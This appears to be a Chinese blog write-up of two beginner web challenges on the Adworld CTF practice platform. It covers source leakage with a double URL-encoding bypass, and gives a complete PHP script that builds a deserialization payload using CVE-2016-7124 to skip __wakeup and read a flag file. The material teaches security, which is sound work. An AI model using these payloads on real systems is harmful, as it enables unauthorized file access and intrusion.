攻防世界web模块新手基础解题详细版(1)

  • PHP2
  • Web_php_unserialize

PHP2

获取场景

 

 

你对这个网站感兴趣吗?

御剑扫描后台,双击打开网页,发现是源码泄露,这里/index.phps是自己添加到密码字典中的:

这是/index.phps源码泄露

 

查看源代码:

 

分析源码判断是一个GET传参admin===$_GET[id],尝试直接传参404错误:

对admin编码:

发现浏览器对ad使用了URL编码:

编码一次的不行,试试两次编码:

 

两次编码还是不行,突然想到,这是index.phps源码泄露,应该是index.php的,得到flag:


Web_php_unserialize

创建题目场景后打开是这样的,看到这个function比较敏感:

所以要想办法绕过wakeup,当进行反序列化时函数会被调用:

Php在线运行工具:https://www.toolnb.com/tools/phpserialize.html

通过对代码分析得到完整的pop链

<?php

class Demo {

    private $file = 'index.php';  //设置了类的私有变量

    public function __construct($file) { //实例化对象时将会被调用

        $this->file = $file;   //将对象的file属性的值设置为file变量

    }

    function __destruct() {  //当对象被销毁时将会被调用

        echo @highlight_file($this->file, true);  //输出读取到的文件

    }

    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用

        if ($this->file != 'index.php') {

            //the secret is in the fl4g.php  //将对象的file参数设置为index.php

            $this->file = 'index.php';

        }

    }

}

$a= new Demo('fl4g.php');//实例化对象   __construct函数将会被自动调用  fl4g.php 将会被赋值给$file变量

$c=serialize($a);   //对a进行序列化操作

$c=str_replace('O:4', 'O:+4',$c);  //通过添加+号绕过正则的过滤

$c=str_replace(':1:', ':2:',$c);   //利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行

$c=str_replace(' ','%00',$c);   //序列化私有类时  类名和字段名前会有空格  使用url传参时需要将空格替换成%00

echo $c;

$j=(base64_encode($c));  //对其进行base64编码

echo $j;

?>

得到pyload,使用get传参得到flag: 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值